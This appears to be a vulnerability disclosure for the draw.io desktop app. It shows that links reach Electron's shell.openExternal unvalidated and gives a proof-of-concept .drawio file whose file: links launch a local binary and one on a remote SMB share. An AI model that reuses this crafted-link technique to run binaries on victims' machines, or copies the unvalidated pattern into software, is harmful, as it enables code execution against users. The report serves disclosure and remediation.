URLs (or links in a diagram) are passed to shell.openExternal
without additional validation.
This is a dangerous function and can be exploited when URLs with arbitrary schemes are passed to it.
It allows code execution through various methods, as described in detail here:
Relevant code:
Basically any URLs that are opened in the desktop app are passed to this function.
Links will get a click
handler that forwards the URL to shell.openExternal
.
https://github.com/jgraph/drawio/blob/v18.0.3/src/main/webapp/electron.js#L1853-L1856
function openExternal(url)
{
shell.openExternal(url);
}
https://github.com/jgraph/drawio/blob/v18.0.3/src/main/webapp/js/diagramly/ElectronApp.js#L271-L291
Graph.prototype.createLinkForHint = function(href, label)
{
var a = graphCreateLinkForHint.call(this, href, label);
if (href != null && !this.isCustomLink(href))
{
// KNOWN: Event with gesture handler mouseUp the middle click opens a framed window
mxEvent.addListener(a, 'click', mxUtils.bind(this, function(evt)
{
this.openLink(a.getAttribute('href'), a.getAttribute('target'));
mxEvent.consume(evt);
}));
}
return a;
};
Graph.prototype.openLink = async function(url, target)
{
await requestSync({action: 'openExternal', url: url});
};
This allows the execution of local or remote binaries hosted on a SMB server when a malicious link using the file:
-protocol, is clicked.
However this is not limited to the file:
-schema, several other dangerous schemas, depending on the operating system exist.
Only a set of known safe protocols should be allowed.
URLs with unknown schemas should not be opened by default and either denied completely or only allowed after explicit user confirmation.
Example for Windows:
Creating the following links and clicking them, will open the respective binaries.
local binaries: file:///c:/windows/system32/calc.exe
remote binaries: file:///\\live.sysinternals.com\tools\Procmon.exe
Note:
The remote binary is located on the public SMB server hosting the Windows Sysinternals suite.
For security reasons I would advise accessing it in a VM.
Alternatively a custom SMB server hosting well known binaries of your choice could be used.
Save the following content as any .drawio
file:
<mxfile host="Electron" modified="2022-05-12T18:45:26.751Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/18.0.1 Chrome/100.0.4896.143 Electron/18.2.0 Safari/537.36" etag="kLtBqXM5SGv4s1X1dR3q" compressed="false" version="18.0.1" type="device">
<diagram id="3b4GpDEXefnaodf0LQwb" name="Page-1">
<mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<UserObject label="local binaries" link="file:///c:/windows/system32/calc.exe" id="rNLuolCAuExxMEVkOyjN-2">
<mxCell style="text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontStyle=1;fontSize=15;" parent="1" vertex="1">
<mxGeometry x="60" y="40" width="60" height="30" as="geometry" />
</mxCell>
</UserObject>
<UserObject label="remote binaries" link="file:///\\live.sysinternals.com\tools\Procmon.exe" id="rNLuolCAuExxMEVkOyjN-3">
<mxCell style="text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontStyle=1;fontSize=15;" parent="1" vertex="1">
<mxGeometry x="190" y="40" width="60" height="30" as="geometry" />
</mxCell>
</UserObject>
</root>
</mxGraphModel>
</diagram>
</mxfile>
Open the file in the desktop app and click on the link after selecting one of the elements.